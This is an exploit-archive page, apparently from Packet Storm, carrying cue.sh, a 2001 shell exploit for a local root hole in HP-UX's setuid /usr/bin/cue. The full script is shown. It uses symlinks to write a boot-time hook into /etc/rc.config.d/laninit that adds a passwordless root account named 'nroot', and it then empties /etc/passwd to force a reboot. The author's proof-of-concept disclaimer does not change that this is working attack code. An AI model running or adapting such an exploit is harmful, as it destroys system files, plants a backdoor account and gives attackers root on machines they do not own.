exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cue.sh

cue.sh
Posted Jun 8, 2001
Authored by Emilie Chang

Cue.sh exploits an old hp/ux local root vulnerability which remains unpatched on most systems. Tested on HP.UX 10.20 v899. /usr/bin/cue exists on 800 models.

tags | exploit, local, root
systems | hpux
SHA-256 | 472483aecd2a7b9ae3663034d47e3348ad1cb85b56301582f36fd92c0f77c432

cue.sh

Change Mirror Download
#!/usr/bin/ksh

##
## THIS IS A DANGEROUS SCRIPT !!! READ THE CODE PRIOR TO ./!
##
## This is just a proof of concept. Don't use for malicious
## purpose. If ever you decide to run that script, please
## read the code carefully before!
##
## Emilie Chang, 2001. Dedicated to Scriptors of Doom and HERT
## people. Good job sweethearts.
##
## Old-styled exploit, tested on HPUX 10.20, model 899
## Warning : /usr/bin/cue exists on HPUX 800 models only
##
## Let's test the model by the way...
##

MODEL=`/usr/bin/model | awk -F '/' '{print $2}'`
export MODEL

if [ $MODEL -lt 800 -o $MODEL -gt 899 ]
then
echo "Your host doesn't look like a HPuX 8** model, stopping now."
exit
fi

##
## Test whether /usr/bin/cue exists or not...
##

if [ ! -u /usr/bin/cue ]
then
echo "/usr/bin/cue doesn't exist or it's not setuid 0. Stopping now."
exit
fi

##
## Well you passed the above tests. Going on playing.
## Creating a file within /etc/rc.config.d : It will
## be executed at next reboot (which might happen
## soon)
##

TTY=`tty | awk -F '/' '{print $3}'`
export TTY

TERM=whatevah
export TERM

umask 000
ln -s /etc/rc.config.d/laninit IDMERROR.$TTY
/usr/bin/cue > /dev/null 2> /dev/null

##
## Inserting evil root account within /etc/passwd
##

echo "cp /tmp/passwd /etc/passwd" >> /etc/rc.config.d/laninit
echo "echo \"nroot::0:3:n:/:/sbin/sh\" >> /etc/passwd" >> /etc/rc.config.d/laninit
echo "rm /etc/rc.config.d/laninit" >> /etc/rc.config.d/laninit

##
## Now saving the passwd file, which we are about to empty
##

cp /etc/passwd /tmp/passwd

##
## passwd file destruction
## (SOMEONE SET US UP THE BOMB !!)
##

rm IDMERROR.$TTY
ln -s /etc/passwd IDMERROR.$TTY
/usr/bin/cue > /dev/null 2> /dev/null

##
## *POOF*, now that the /etc/passwd file is emptied, admin
## MUST reboot to get things done.
##

echo "Your nroot account will be created within /etc/passwd"
echo "with no password. Remove it asap, it's just a proof"
echo "of concept!"

# The end.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close